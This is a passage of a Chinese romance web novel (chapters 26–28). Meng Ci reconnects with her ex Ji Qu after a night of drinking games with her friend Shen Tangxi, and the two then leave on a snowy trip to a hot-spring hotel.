刚好酒店楼下就是商圈,不怕没处打发时间。 虽然是冬天但是各大品牌已经等不及似的上新春款。 在销售的陪伴下,孟慈看中一条碎花方巾和帽子,刚好给裴沛钓鱼的时候用。 “包起来吧。”孟慈利索选定。 “好的,我们还有配套的衣物您要不要也选一下?过起年就能穿上。”销售笑着指了指不远处模特身上的穿搭。 孟慈犹豫了一下,便被极会察言观色的销售热情地邀到VIP室等待。 拉着品牌LOGO的咖啡甜品在孟慈面前一字排开。 销售说自己去取衣服,马上回来,孟慈也只能笑着说好。 手机一震,放下手中的咖啡,孟慈一看是安娜发来的消息,说自己还要一会儿,大约要晚饭时间才能结束。 孟慈回了句没事,退出和安娜的聊天页面后看到再次顶到上面的未读消息。 季曲只说不能拉黑,又没说自己必须要回复,熟练地左滑删除。 孟慈还没来得及放下手机就听到熟悉的声音。 “孟慈?”沈棠溪的声音从门外传来,“我远远看着就觉得是你,怎么来了这儿不给我打电话?” 沈棠溪剪了短发,却依旧热烈明媚,一屁股坐在孟慈旁边拉着孟慈的手抱怨,还没等孟慈说话就订好了晚餐地点。 销售一看两位大客户是熟识,便把沈棠溪的那份甜品端到了孟慈这里。 沈棠溪热情道:“怎么样?准备呆几天?我都给你安排好了。” 孟慈心里还记着沈棠溪和季曲的“姻缘”,多少有些推拒:“明天晚上就走了,你别费心。” 沈棠溪才不管这些,她拿着手机开始摇人:“别和我见外,晚上领你去见见我国内的朋友们,你还没谈恋爱吧?我有几个从小玩到的朋友……” 孟慈拒绝无用,只能认命般地听着,时不时地附和几句。 “哎对了,我婚约取消了你晓得伐?”沈棠溪看着鱼贯而入的模特们突然来了一句。 “嗯,知道。”孟慈点头,咽下嘴里的拿铁。 她当然知道,因为兜来转去,孟慈又和季曲走在了一条昏暗小巷。 不过几月,沈棠溪的爱人变成了过去式,而孟慈爱的人,也许变成了进行时,还是将来时? 孟慈也有些说不准。 第26章 第26章来接我就现在 安娜不出意外的被客户绊住脚,在手机里发了一连串抱歉。 孟慈回没事,刚好自己也碰到朋友,晚点酒店见。 “别人就不说什么了,但是你来,我肯定得陪好。” 沈棠溪领着孟慈去了一家黑珍珠,好的贵的时鲜的,全部上了一遍,俨然不顾两人的食量,最后不出意外的剩了大半桌。 饭后活动安排在一处酒店的楼顶。 沈棠溪说那家店新来了一位调酒师,帅的离谱,收拾收拾能直接出道当小明星。 孟慈跟在沈棠溪身后:“那有什么稀奇的,小明星你不是也谈过。” “那倒是,但是这个更帅。”沈棠溪勾唇一笑,从服务生手里接过贴纸,分别挡在两人手机的摄像头上。 夜已深,酒意浓,私密场合禁止拍照。 沈棠溪的朋友们已经来了不少,沈棠溪拉着孟慈一一打招呼,随后带着人在最中央坐下。 旁边的朋友们递上酒水单,沈棠溪先给孟慈。 “喝点什么?” “招牌好了。” 孟慈简单扫了一眼,花哨的名字根本分辨不出是什么内容物,干脆交给老天,沈棠溪挥手也要了一样的。 沈棠溪看着一副久经沙场模样的孟慈没忍住开口:“可以啊,回国了酒量渐长。” 孟慈眨眨眼:“反正你会送我回去。” 沈棠溪说那可不一定,毕竟自己酒量也差,属于自身难保的那类人。 旁边的朋友们都笑了,一些男生纷纷表示很乐意接下护花使者的活儿,问孟慈在哪个酒店下榻。 沈棠溪开口阻拦,说孟慈可是自己学长在追的对象,她得替人看着。 “对啊慈慈,你和梁漠怎么样了?”沈棠溪在酒桌游戏的间隙想起来。 “没怎么,还那样。” 孟慈今晚运气好,摇骰子怎么摇怎么赢,要大开大,说小开小。 孟慈的对家已经换了三位。 沈棠溪好奇:“他表白了?” 孟慈点头。 “你没答应?” “没,我又不喜欢。” 沈棠溪撇撇嘴,说孟慈眼光太高,又问孟慈喜欢什么样的,她可以介绍。 “开!” “终于输了吧!” 众人终于抓住了孟慈输局,孟慈顿了顿,随即笑着抬手取了一杯龙舌兰饮下。 “好酒量!沈棠溪你哪儿来的朋友这么会喝?” “我大街上捡来的!” “哪条街啊?我们也去捡一捡!” 大家闹在一起,气氛愈热。 游戏差不多结束,键盘换成吉他。 大家在舒缓的音乐中歇歇酒劲儿,准备迎接下一轮高/潮。 孟慈趴在沈棠溪耳边说要给朋友打个电话。 沈棠溪给她指了指不远处的小花园,那边清净。 孟慈本想告诉安娜自己会晚点回去,让她不用担心,却没想到结果安娜那边也喝了不少,已经和助理回了酒店。 孟慈便让安娜先休息,不用操心自己。 六十层的露天平台,一面是声色犬马,一面是清风明月。 服务生在孟慈落座的同时就端来解酒茶,挂了电话温度刚好入口。 孟慈拿着茶杯浅啄几口,胃里的灼烧感奇迹般的压下去不少。 “喝多了?”沈棠溪不知道什么时候走到孟慈身边,“要不要送你回去?” “没事。”孟慈弯眸一笑。 沈棠溪抹了把被风吹乱的短发,说自己是真的很感谢孟慈。 毕竟当时沈家的新闻占了财经新闻那么大一片版面,不求人施以援手,只要不落井下石都是万幸。 爸爸和叔叔们同一时间失去消息,自己和妈妈在外面四处奔波找人求助,效果微乎其微。 正当沈棠溪焦头烂额的时候,孟慈打来电话,问自己需不需要钱。 对,钱。 钱不是万能的,但没钱万万不能。即使是杯水车薪,也好过没有。 孟慈在电话里说会找人给沈棠溪送一张卡,让她自己拿。 毕竟是特殊时期,大笔的进账会被注意到,沈棠溪名下的财产也不一定什么时候会被封。 “你那个时候说,你不认识什么人,没什么关系能帮我疏通,只能给我钱。”沈棠溪说到这儿眉开眼笑,“我还以为你也想包养我。” 孟慈眨眼,忽略了沈棠溪话里的“也”,跟着笑起来。 孟慈:“我谈的可都是男生。” 沈棠溪:“谁不是啊。” 对上沈棠溪骄傲的表情,孟慈口风一转,“不过要是对方是你……女孩子我也能试试。” “哎,你的卡我可是还你了,要想追,先排队。” 沈棠溪一点不客气,话罢还故作骄纵地转了转自己指根处鸽子蛋大小的戒指。 “男朋友送的?” “我妈给我的。”沈棠溪伸手展示,嘴一撇说男人才不会这么舍得。 孟慈点头表示赞同。 聊到兴头上,沈棠溪找服务生要了烟,自己含一支,又递给孟慈一支。 看着递到眼前的烟,孟慈立马想到那晚,历历在目,顿时有些膈应。 摆摆手,孟慈说自己最近嗓子不舒服,忌一段时间。 休息的差不多,孟慈的酒意散了大半,沈棠溪拉着人回了酒桌,说再玩一轮就转场。 老套的真心话大冒险,却总有新意。 没转几圈,瓶口就对准沈棠溪。 她选了真心话,毕竟上一位大冒险的可是跑到楼下抱着灯柱随机来了一段钢管舞。 席间都是沈棠溪的密友,当然不会放过机会。 “你上次和我们出来玩喝醉了,有人看到你被你的前未婚夫接走了……” “季曲啊,你们又不是不知道……” “NONO!我们要问的是……你们当天晚上亲了几次嘴。” 沈棠溪显然没想到会问这种无厘头的问题,翻了个白眼说没亲。 “切~” “快得了大家都是成年人……” “就是就是,你沈大小姐什么时候玩过素的……” 沈棠溪无语,说真没亲,没注意到旁边逐渐放下唇角的孟慈。 “叫过来!叫过来我们当场问,又不是没见过本人。” “就是,咱们可在一张桌子上吃过饭!” “现在就打电话。” 一群人闹哄哄地,逼得沈棠溪没办法,只能给季曲拨通电话。 铃声响了两三声,对面接起。 “喂?” “季曲,忙吗?” “还好,什么事?” “就是……那个……”沈棠溪多少有些吞吞吐吐。 对面的季曲察觉到这一点,问:“你叔叔又找你们麻烦了?” “没!没找……我就是……” 毕竟不是平常惯熟的朋友,沈棠溪是在没法突然来一句“你和我朋友说一下我们没亲嘴”,多怪啊。 季曲听出来应该没什么大事:“有事的话就联系刘律师,我最近也在这边,有什么不方便的找我也行。” 沈棠溪意外道:“你来啦?什么时候?怎么没提前说……” 季曲还没来得及回答,那边就传来一声女声,喊季曲的名字,季曲回了句马上。 沈棠溪用还残存的几分清醒辨认出声线的主人:“是薄小姐吗?” 季曲没否认:“对,那我先挂了。” “好。” 沈棠溪连忙按了挂断键,朋友们纷纷问薄小姐是谁。 沈棠溪简单说是季曲的青梅竹马,大家听到这儿也不再追问。 大晚上的人家身边都有伴儿了,还亲嘴个什么劲,顿时无趣。 叫嚷着让沈棠溪喝了半杯酒,这局游戏就算这么过了。 说了这么久,沈棠溪突然发现旁边的孟慈没了动静。 转头去看,只见她手捏着玻璃杯,低着眼,不知道在想些什么。 “孟慈?”沈棠溪贴近孟慈几分,嘈杂的音乐混在两人中间,有些影响交流,“怎么了?累了?” 孟慈抬起头,看着沈棠溪的眼睛满是清明,“没怎么,继续吧。” 又进行几局,命运的瓶口终于对准孟慈。 她也选真心话。 大家一晚上对这位美人的兴趣可谓是只多不少,但是碍于沈棠溪在一旁抱着胳膊护宝贝一样的护着,只能一再降低难度,让孟慈讲一个秘密,而且必须和在场的人有关。 “孟慈第一天认识你们,那不只能和我有关?” “不然她讲别人的秘密管我们什么事?我们还怎么找乐子?” 沈棠溪一想还真是这么个理,便也和众人一起等孟慈回答。 “秘密啊……”孟慈握着酒杯晃了一圈,然后送到嘴边喝了一口。 这家调酒师是真的有点东西,四五种烈酒叠在一起,却奇妙的融合,骗过了味蕾,到了嗓子眼才开始叫嚣着燃烧着往身体里涌。 “我先告诉棠溪,毕竟是关于她的。” “可以,我们没意见。” 沈棠溪看向孟慈,她喝得有些多,眼尾都泛起红,像是专门涂画的一道线,让孟慈褪去一贯的清冷,凭空多了丝妩媚。 孟慈拿起手机,打开聊天软件。 找到季曲的头像点进去,不过半天没看,又是一大串未读消息。 屏幕大小有限,只留下几句话。 【中午吃了什么?】 【图片】 【这条项链喜欢吗?】 【回我消息。】 【孟慈。】 【慈慈。】 沈棠溪喝得有些眼花,再加上手机屏幕太亮,孟慈伸到自己面前的时候还真看不清。 不过孟慈好心地调低亮度,然后靠在沈棠溪肩膀旁,仅用两人能听到的声音说了一句。 “季曲,我也认识,甚至比你还早。” 说完,孟慈拉开两人的距离,看着沈棠溪笑,淡淡的,冷冷的。 大家看看始终保持微笑的孟慈,又看看突然呆滞住的沈棠溪,好奇心倍增。 “什么啊?” “对啊沈棠溪快说!” “话说一半要人命吗??” 沈棠溪一时间反应不过来。 怎么自己的前未婚夫和孟慈还有关系?但是就算是有关系,关自己什么事? 自己又不喜欢季曲,干嘛孟慈一副对不起自己但是又再轻松不过的样子。 嘴张了又合,她竟然不知道先从哪里说起才好。 就这一段时间的迟疑,朋友们已经快闹得翻了天。 孟慈见状,说那就再加一个大冒险好了。 既然沈棠溪不愿意说,就只能从别处填补大家的好奇。 “你刚刚给沈棠溪看的是什么?” “聊天记录。” “这个人你们俩都认识?” “嗯。” “给他打电话。” 孟慈看向沈棠溪,摇摇手机,询问她是否可以。 沈棠溪皱眉,再次想着,关自己什么事,在朋友们的催促声中,点了头。 得到许可,孟慈动作利落,指尖在屏幕上按按,已经拨出去。 铃声再次响起,对面接的明显更快。 “喂?慈慈?” 熟悉的音色传来,大家一时间有些发懵。 有耳朵尖的已经听出来对面是谁,但是没敢说出来人名,只是面面相觑。 “嗯。” “怎么了?这么晚是不是出什么事了?” “哦,没。”孟慈说到这儿,看向在场众人轻松发问,“打通了,然后呢?” 鸦雀无声,沈棠溪也愣在原地,一双眼直直地看向孟慈,满是惊诧。 “那我自由发挥了?” 孟慈喝完杯中的酒,一路从喉烧到胃,甚至连心好像也火辣辣的。 “孟慈?”季曲听出来这边有些不对,刚开始的欣喜被疑问替代。 咬着半化的冰,孟慈慢慢开口。 “来接我吧,季曲。” “就现在。” 第27章 第27章那把火其实是孟慈放的 季曲赶到的时候沈棠溪已经把好事的朋友们赶走去下一个场子等着,酒桌上只剩下自己和孟慈。 夜风猎猎。 即使是南方毕竟也是北半球。 季曲给沈棠溪递上旁边的毛毯,又把自己的外套披在孟慈身上,拢住她光洁的肩膀。 刚刚打完那通电话,孟慈又喝了几杯。 现下已经靠在抱枕上小憩,呼吸沉沉。 “你们认识啊?”沈棠溪没忍住发问。 毕竟孟慈从来没提过季曲的事,而且自己刚刚还提了薄小姐,谁知道现在季曲和孟慈是什么关系。 “嗯,很久了。”季曲伸手在孟慈的额头和脸颊上摸了摸,滚烫一片。 “没听你们说过。” “她出国前和我分手了,然后才认识的你,然后我们订婚,现在我在追她,不过还没成功。” 信息量太大,沈棠溪突然发现自己嘴真的很笨,不知道该说什么。 “我想和她解释的,但是她好像没怎么听进去,而且我也没怎么说清楚,你知道的我有点表达差劲。” “解释什么?” “……就我们的订婚是家里做的主,咱们可没什么感情,然后你后来找人私下帮我们家争遗产什么的……” 季曲的注意力全在孟慈身上。 她手里还握着一支酒杯,酒味刺鼻,季曲不由自主地皱了皱鼻子,然后又低头靠近孟慈,嗅嗅。 没有烟味。 “哎你干嘛!我还在这儿呢!” 沈棠溪看着季曲的举动连忙捂脸,手再次拿开时,季曲已经从沙发上抱起孟慈。 沈棠溪:“就走了?” 季曲:“不然呢?” 沈棠溪:“我也走!” 观光电梯里,沈棠溪站在季曲的右后方,看着窝在季曲怀里一动不动的孟慈,有些拿不准,毕竟都是帮过自己的人,思考再三,还是开了口。 “那你和薄小姐的事,孟慈也知道的对吧。” “知道。” 听到这儿沈棠溪才松了一大口气,可别因为自己青梅竹马的一句话让孟慈心里难受。 但是,青梅竹马又是事实。 硬着头皮,沈棠溪再次开口:“那你们三个……” 季曲打断:“没有三个,就我们俩,就我和孟慈。” “地下三层到了……” 电梯运行到终点,三人分手- 孟慈再醒来时已经换了衣服。 黑色的男士T恤大到能当连衣裙,她从床上坐起身四处看看,是一间陌生的卧室。 沿着木地板上的光亮,孟慈在厨房找到季曲。 他穿着家居服,背对着自手里拿着汤勺在锅里翻搅。 “醒了?”季曲听到声音回头,看到孟慈光脚站在地板上,立马关了火走到孟慈身前把人抱到高脚椅上坐着。 “怎么不穿拖鞋?地上多凉。” “没看到。” “就在床头。” 季曲回到卧室取了拖鞋,又蹲在孟慈脚边给人换上。 孟慈低头看,款式和季曲脚上的一模一样。 “是新的。”季曲怕孟慈又犯洁癖,解释了一句,然后又回厨房舀了碗醒酒汤出来。 碗边的温度很烫,季曲衬着纸自己端着,吹着晾凉了好一会儿才送到孟慈手里。 确实有些头痛,孟慈拿着汤勺舀了几口喝,食道里的灼烧感还在,这个时候吞什么都很难舒服。 她把汤碗搁在一边,“有冰吗?” “有。”季曲当下就知道孟慈要冰做什么,去冰箱取了些冰块,又用纯净水过了一遍才拿回来。 取了一块含在嘴里尤觉不够,干脆咬碎吞咽,灼烧感得到缓解,孟慈又去取一块儿。 季曲适时开口:“你一边吃我一边解释怎么样?” 孟慈答得快:“不想听。” 一连吞了五块冰,孟慈才放下杯子,抬眼看向季曲,他看起来倒是平和。 孟慈:“沈棠溪知道薄小姐和你的关系。” 季曲:“是。” 孟慈:“但是沈棠溪不知道我们的关系。” 季曲犹豫了一下才回答说是,他不懂孟慈这么问的理由。 不怪他。 孟慈也有些不懂,自己为什么要这么问。 她只是不满,为什么深夜时分季曲身边的一道单薄女声,就会被人理所应当的认为是薄娴。 孟慈头疼加剧,她又取了一块冰含在嘴里咬碎,“你说你要出差。” “我真的有工作,见薄娴只是其中一天的安排。”季曲解释道。 怎么两个人的感情中总是会有第三个人的存在。 孟慈下意识地续冰,却被季曲伸手挡住。 “不能吃了。”季曲看了眼半空的玻璃杯,不假思索地拒绝。 孟慈绕开季曲的手,颇有些破罐子破摔的意思,“不用你管。” “怎么就不用我管。”季曲看着脸色有些发白的孟慈不免气恼,有了脾气可以发出来,而不是伤害自己。 孟慈猛地从椅子跳上下来,推开季曲伸手就要去抢,却被季曲挥手拦住。 两人推搡间玻璃杯摔到地上,冰块和杯身一起四分五裂,白织灯打在上面,闪闪发光。 杯子落地的瞬间,季曲飞快转身挡在孟慈前面,他怕飞溅的玻璃划伤孟慈。 孟慈的小腿上溅了些冰水,她下意识低头看过去。 季曲因为孟慈的动作以为她受了伤,连忙把人抱到沙发上查看。 借助水晶灯的耀眼光彩,季曲细细地把孟慈的双腿检查了一遍又一遍,再三确认无事后才松了一口气。 期间看到孟慈上次在派出所留下的伤疤还没彻底消下去,他用指腹刮了刮。 孟慈看着季曲小心翼翼地抚摸伤疤模样,有些难过。 季曲的爱到底是什么样的?她不清楚。 她努力保持声调平稳:“当初你自己选了薄娴,我没让你为难,现在你仍然选了薄娴,但是为什么又要来招惹我?” 季曲的火早在玻璃杯落地的瞬间就被那些冰水浇灭了,他现在冷静又清醒。 “我没选她,当初也是现在也是,你应该给我解释的机会。” 孟慈当时走的利落,一刀两断的速度和态度也多少激怒了季曲,再加上确实有些公司的事要处理,季曲就想着先晾晾人,等过了这段时间再说,却不想把人晾跑了。 “这是解释不解释的问题吗?”孟慈看着季曲,只觉得他在避重就轻。 季曲收回视线,把孟慈蹭高的T恤下摆拉回原位,又给孟慈裸/露的双腿盖了层毛毯才慢慢抬头。 “慈慈,话不能这样讲,难道当时我解释了你就能留下?” 季曲温柔又残酷地刨析:“你把车钥匙还我的时候,你把珠宝首饰邮回来的时候,你把我们共同的朋友从你的交际圈剥离的时候,我不觉得你只为了我一句解释。” 孟慈有些急:“你不解释怎么知道我不会。” 季曲不会被孟慈的情绪带着跑,他试图用自己的节奏让孟慈冷静下来。 所以他说:“你爱我吗慈慈?我觉得你不爱。” 季曲用平静地叙述他的观点,像是在评价一份收购方案一样,客观且一针见血。 “慈慈,最起码那个时候你应该算不上爱我,只是喜欢我罢了。” “我能让你依赖,我能给你港湾,我能宠着你让你自由自在地做一切想做的事,我还能帮你盖自己的高楼大厦,提供一切你想要的机会。” “你有野心却不想被别人看出来你有野心,所以总是在我捧上一切的时候说什么都好,你缺爱却又不想被别人看出来你缺爱,所以总是装作独立,你明明已经想离开我却不想亲手做决断,所以给自己找了理由来和我分手。” 铺垫的差不多了,季曲慢慢拨开云雾,他似乎怕残酷的真相会伤害到孟慈,还放柔了语气,以一种包容又宽恕的眼神注视着孟慈。 “我那天没有约薄娴见面,但是薄娴却说是我给她发了消息约她吃饭,我的账号前一晚在平板上登陆忘了退出,那天,平板一直在你身边……” “慈慈,从始至终都是你要离开,是你不要我的,所以我并不觉得解释有用。” 灯光摇曳。 几缕落在季曲身上,把他冷厉的轮廓柔化,就连咄咄逼人的话,好像也变得循循善诱。 孟慈不得不承认。 季曲说的,件件是事实。 包括孟慈离开的“导火索”。 那把火,其实是孟慈自己放的。 不然呢?孟慈不由得握紧双拳,指甲扎在掌心,泛起阵阵的痛。 总不能要求季曲爱自己吧,总不能要求季曲像个普通人一样为爱情而头脑发昏。 他明明拥有所有美好的一切。 孟慈凭什么让季曲为了自己而变成普通人呢? “啪”的一声,精心养护的指甲断裂在掌心,但是孟慈似乎感觉不到痛楚。 她只是迟钝地眨眨眼,迟钝地感受心脏仿佛被钝刃反复割扯。 过了一会儿,孟慈伸手环住季曲瘦轫有力的腰肢,轻轻靠在上面,似是在低头,似是在讨好。 季曲先是一愣,然后回抱,圈紧孟慈柔软的身体,手压在她的背上,轻轻拍,似乎想给她安全感。 “…那你 呢?” 孟慈打破平静。 她在季曲的怀里缓缓抬起头,眼眶有些红,浅浅地问:“季曲,你爱我吗?” 孟慈眼底水意浓重,像只晶莹剔透的玻璃球。 “沈棠溪和我说,她原本不想带喜糖去学校,是你非要让她带,还带了很多,很多很多,让她分给同学朋友,托运的时候甚至都超了重量……我不信你不知道我在哪里读书,你明明什么都知道。” 孟慈微仰着头,泪水顺着眼尾滑过太阳穴沉没进发间时,季曲捧住孟慈的脸,毫不犹豫地吻下去。 孟慈的唇被吻到水光淋漓,一时间胜过她的眼,季曲抵着孟慈的额头,给出他以为的孟慈想要的答案。 “我故意的,故意让沈棠溪带着喜糖回去,故意在你掏出糖盒时假装陌生。” “你以为爱尔兰的房子那么好找?你以为随手招聘的阿姨那么妥帖?还是你以为一张亚洲脸孔在学校那么好混,仅仅因为你漂亮?” “我给过你离开的机会了,但是你怎么偏偏又飞回来?” 在一声声的反问中,孟慈望着季曲愈发模糊。 季曲抹掉孟慈断了线似的落下的眼泪,哄劝似的咬着她的嘴唇低语。 “慈慈,我们重来。” 你这次爱我吧,我们再试试- 第二天一早,孟慈在一楼客厅看到安娜,她正和季曲一起坐在餐厅吃早饭,看到孟慈下楼的时候极自然地抬手打招呼。 “我来给你送行李。”安娜指指玄关处的行李箱。 孟慈更是一头雾水,季曲从锅里盛了粥,放在自己旁边的空位上,孟慈刚坐下,安娜就说司机到了要先离开,后天再见。 等到安娜离开,看着孟慈喝了小半碗粥,季曲才慢慢解释。 安翰要在何冉生日的时候求婚。 婚期定在今年夏天,由于何冉的艺人身份,安翰始终没在公开场合给何冉正式求婚,现在日子也订好了,自然要补上。 何冉最近因为行程需要在国外,安翰便邀请了一众好友飞过去凑个热闹。 “咱们明天上午的飞机。” “我?”孟慈说自己没收到通知。 季曲把手机里的语音消息公放。 大致内容就是安翰邀请季曲和孟慈一起到场,就当他请大家出来新年旅行。 看着孟慈抗拒的表情,季曲夹了小菜放到她面前的小碟里,“你总不能让何冉本人邀请你吧。” 准新娘现在怎么可能知道这个消息,孟慈被嘴里的粥噎了一下,不着痕迹地瞪了季曲一眼。 季曲:“今天想去哪溜溜?” 孟慈头也没抬:“你不去陪薄小姐?” 昨晚虽然捅破层窗户纸,但不多。 一个小洞,漏不进多少阳光。 说实话,季曲没把薄娴当作自己和孟慈间不可逾越的阻碍。 毕竟他和薄娴确实没什么男女方面的心思,要是真有,沈棠溪这号人物都不会出现在自己的生活里,偏偏孟慈抓着不放。 怎么讲? 季曲当然不会和薄娴断绝联系,不说前几辈的关系情分,自己家还有个薄姓的嫂嫂坐镇。 但是季曲现在也不可能对孟慈放手。 安翰求婚这趟,他本来没什么意愿参加。 但是转念一想,换一个新环境,带着孟慈好好玩一趟,脱离这些陈旧的关系背景,也许会好一点。 而且这趟过来,纯属是因为薄娴的复诊时间到了。 病情属于私人信息,他没法和孟慈坦白。 不坦白难过的又是自己,昨天好不容易把孟慈的冰冻外壳敲开一个角,总不好功亏一篑。 这么想着,季曲开始思考要不要把机票改签,早去一天,就能早逃离这些一天。 “咱们下午就飞吧。”季曲拿出手机找孙谦更改行程信息。 “不是明天?”孟慈对季曲这种突如其来和避重就轻的做法十分不满。 “明天礼幌有雪,怕会耽误行程。” “咱们今天就走,晚上吃和牛。” 拗不过季曲,孟慈上飞机时还穿长风衣,落地时就被季曲随身带着的羽绒服裹到脚面,从远看就像机场门口的矮灯柱。 要不是被迎面而来的风雪迷了眼,孟慈一定把这件羽绒服立马脱了扔在地上。 季曲倒是始终一件深黑色大衣,走在皑皑的街道上,像是来拍画报的模特。 安翰定了间自带温泉的酒店,一屋一泉,互不打扰。 屋后就是雪山,从洁白到深蓝再到漆黑,活脱脱像一幅画。 由于两人提前到了一天,需要本人去登记信息,办理入住的时候季曲还拒绝了几位客人的好友申请。 孟慈坐在休息区冷眼看着,到哪都不消停。 酒店分三个区域。 安翰包了其中风景最好的一部分。 摆渡车把两人和行李送到后就离开,服务生引两人进门后问需不需要准备晚饭。 季曲看向孟慈,等她的意见。 孟慈看了看逐渐阴沉的天空,点头说好。 AB栋的房间分布,孟慈选了B,给季曲剩了A。 她前脚刚进门季曲后脚就跟上,一点都不见外。 “你没自己的房间?”孟慈按住季曲正要往屋里拉的行李箱。 “我害怕。”季曲脸不红心不跳地撒谎。 “你和薄小姐在一起时也这么……”孟慈没说完剩下的三个字,但是已经很明显。 季曲无谓耸肩,又不是和外人谈生意争项目,和孟慈要脸没用,就得不要脸才能尝到甜头。 孟慈看着已经领着行李登堂入室的季曲,冷哼一声转身出门,还没等摸到门把就被季曲拉着胳膊扯回来。 “你能不能别和我闹别扭了?” “我没和你闹别扭。” “那你能不能别提薄娴了?” “为什么不能提?” 季曲往前走一步,低头去蹭孟慈的鼻尖,却被她偏头躲开,季曲顿了一下,然后顺势抬下巴在孟慈脸颊上贴了贴,“因为你总是提她的话,我会觉得……你在吃醋。” 脸上的湿润感来得突然,孟慈还没来得及伸手去擦就被季曲的下一句话点燃,刚想扭正脸说什么就对上季曲调笑意味十足的表情,薄薄的双眼皮敛得更深,唇角也高高挑起。 握住孟慈想推开自己的双手,季曲又往前凑,笑得无赖。 “孟慈,这么快就爱上我啦?” “吃什么飞醋啊?我不就在这儿,在你面前,吃我多好?” 第28章 第28章爱抵万难? 不着调的后续就是孟慈一直到晚饭都没和季曲说一句话。 卧室的门一关,房子里被分成两个空间,一半姓孟,一半姓季。 孟慈洗了澡换了身衣服,黑色荷叶边长裙衬得孟慈更加纤细。 头发被她盘在脑后,露出一对小巧的耳朵,和坠在上面的浑圆珍珠。 拿起手机一看,已经晚上七点。 推开卧室门出去,季曲正坐在沙发上开视频会议,架着副金丝眼镜,神情严肃。 终于变成再正常不过的他。 看到孟慈出来,季曲冲视频打了个示意暂停的手势,在键盘上点击几下,然后摘下耳机问:“饿了吗?” “还好。” “再给我二十分钟,然后吃饭。” 孟慈点头,季曲又恢复工作状态,专注于他的笔记本电脑。 绕开季曲走到落地窗前,孟慈隔着玻璃看大雪纷扬,比天气预报来的早。 安娜刚好打来电话,回头看了眼正在仔细倾听的季曲,孟慈轻手轻脚地拉开窗户出了房间。 石头砌成的温泉池正在潺潺地冒热气,与空气中的雪片相遇,化成白雾,踩在木地板上,孟慈按下接听键。 安娜:“宝贝你们已经到啦?” 孟慈:“嗯,傍晚落的地。” 安娜:“怎么样?那边冷不冷?我带了好几条裙子赵一辰非说会冻死我。” “祖宗你但凡看看天气预报呢?零下二十度,你以为你的那些小裙 子扛得住?” 赵一辰的声音从听筒里传来,看来两个人又在闹。 孟慈:“是有些冷,我今天穿着羽绒服。” 安娜:“室内呢?” 孟慈:“你哥求婚是在室外吧?” 孟慈刚刚从酒店大厅乘摆渡车过来的时已经看到了求婚场地,除了鲜花还在温室养着其他全部到位。 电话那边安娜还在说穿一会儿拍个照就行,不会在外面冻太久。 孟慈又提醒到现在自己这边在下雪,明天起落要报个平安。 安娜自然说好,然后便挂了电话去和赵一辰争论。 一通电话打了差不多十分钟,推开玻璃进屋的时候季曲刚好挂了视频。 孟慈问:“结束了?” 季曲拂掉孟慈发上的雪花:“嗯,吃饭吧。” A5级的和牛经过炙烤后散发出浓郁的香味,油花丰富口感细腻。 孟慈一连吃了三分之二,再加上七七八八的抹茶小食。一顿饭结束孟慈才后知后觉地有些撑的难受。 “出去走走?周围风景还不错。”季曲看着坐在沙发上双手捂着胃的孟慈提出建议。 想了几秒,孟慈说好。 依旧是落地的那件羽绒服,配上季曲不知道什么时候塞到行李箱里的雪地靴,孟慈突然丧失了出门的欲望。 转头看到仅穿了件大衣依旧风流倜傥的季曲,欲望更甚。 在孟慈开口之前,季曲眼疾手快地把人推出了门。 酒店已经提前在小径上撒了融雪剂和粗盐,奈何雪一直下,总有全新的一层覆盖。 孟慈缓慢地踩着雪沿着酒店竖着指示牌的行人道走,感受着新雪的松软。 然后在“咯吱”声响后变得硬实,变成自己的一个脚印。 由于孟慈和季曲提前一天到,这个区除了他们两人只有时不时来消雪检查的安保人员。 季曲走在孟慈身后,右手始终在空中悬着,生怕孟慈不小心脚滑。 偏偏孟慈没有这方面的顾虑。 哪里雪厚就往哪踩,脚印乱七八糟,活脱脱地像第一次见雪的小孩儿。 季曲没忍住开口提醒:“慢点儿。” 偏偏孟慈不当回事:“没事。” 把季曲的担忧抛在脑后,孟慈心无旁骛地在前面踩雪。 低着头不知道走了多远,一直到孟慈觉得自己的耳朵开始疼,才准备返程。 季曲像是孟慈的尾巴,跟着人转身甩了个圈,依旧走在她身后,踩着她的脚印返回。 离房子越近两人之前留下的痕迹就越少。 到最后,孟慈的面前干脆出现了一面崭新的雪地,白茫茫一片。 前面的人好久不动,季曲以为孟慈哪里不舒服,“怎么了?” “我的脚印没了。” 孟慈回过头,羽绒服的帽子随着她回身的动作掉落,她的鼻尖已经通红,睫毛上也全是雪。 呼出的白气挡在她脸前,平白像是填了层滤镜。 季曲看得愣了一拍,然后才顺着她手指的方向看过去,季曲比孟慈高不少,微微侧身就能看到。 季曲:“雪太大了,盖住了。” 孟慈:“雪下面呢?” “先填满再盖住。” “那怎么一样厚,我明明踩下去很深,雪一直下,平均的下,不应该一点都看不出来。” 季曲听到这番道理逐渐笑了,然后解释,“不一样的,你踩过的地方再盖上一层雪,会虚一些,而且仔细看,不是平的。” 听得一知半解,原来高材生口才也这么一般。 孟慈没再追问,扭头继续走,马上就到了。 两个人溜达了快半个小时,回到房间已经不算早。 季曲说自己还有个会要开,在这边会打扰孟慈,就抱着电脑离开了。 不过行李还留在这边儿没动。 孟慈没锁门。 反正只要季曲想过来,他有的是办法,何必装模作样的搞这些有的没的。 餐桌上放着温好的清酒,旁边还附着卡片。 【感谢您下榻,招待您的青梅酒。】 知道孟慈是中国游客,还特地翻译成中文打印。 木制托盘里放着一壶酒和一枚酒杯。 孟慈看了看窗外冒着袅袅白雾的温泉,决定抛弃今晚要早早休息的誓言。 趴在温热的石头边上,孟慈看着远处的雪山放空。 黑白的界限开始不分明,暧昧地欺在一起混染天际。 托盘浮在水面,轻轻地撞了她胳膊一下,孟慈这才想起来自己还有酒。 拿起酒壶给自己斟了一杯,拿到嘴边品品。 辛辣的酒精味和青梅的涩融合地不算太好,但是温泉太热蒸得人口干。 孟慈也不想再跑到房间里取水喝,干脆就这么凑活着。 季曲开完会已经快十二点,想着孟慈应该睡下了,便在自己这边洗漱完再过去,省得吵醒她。 失误的是行李箱还放在孟慈那屋。 季曲洗完澡拿出浴袍穿上,只能过去再换衣服。 孟慈屋子里的客厅还亮着灯,落地窗没关严实,风雪顺着缝隙溜进来。 季曲看了眼漆黑的卧室,刚以为孟慈没关严实门窗就睡了,却没成想在室外的温泉里看到她。 夜深到已经看不清对面的景物,只是漆黑一片。 上方还有晚星闪烁,下方就只是单纯的黑,少了白日的空阔感,十分压抑。 孟慈背对着屋子双手趴在石头上,头歪歪地靠在手上,雪白的肩颈浮在水面,旁边还有一支随着水波荡的托盘。 季曲在自己那屋也看到了,酒店招待客人用的清酒,度数尚可。 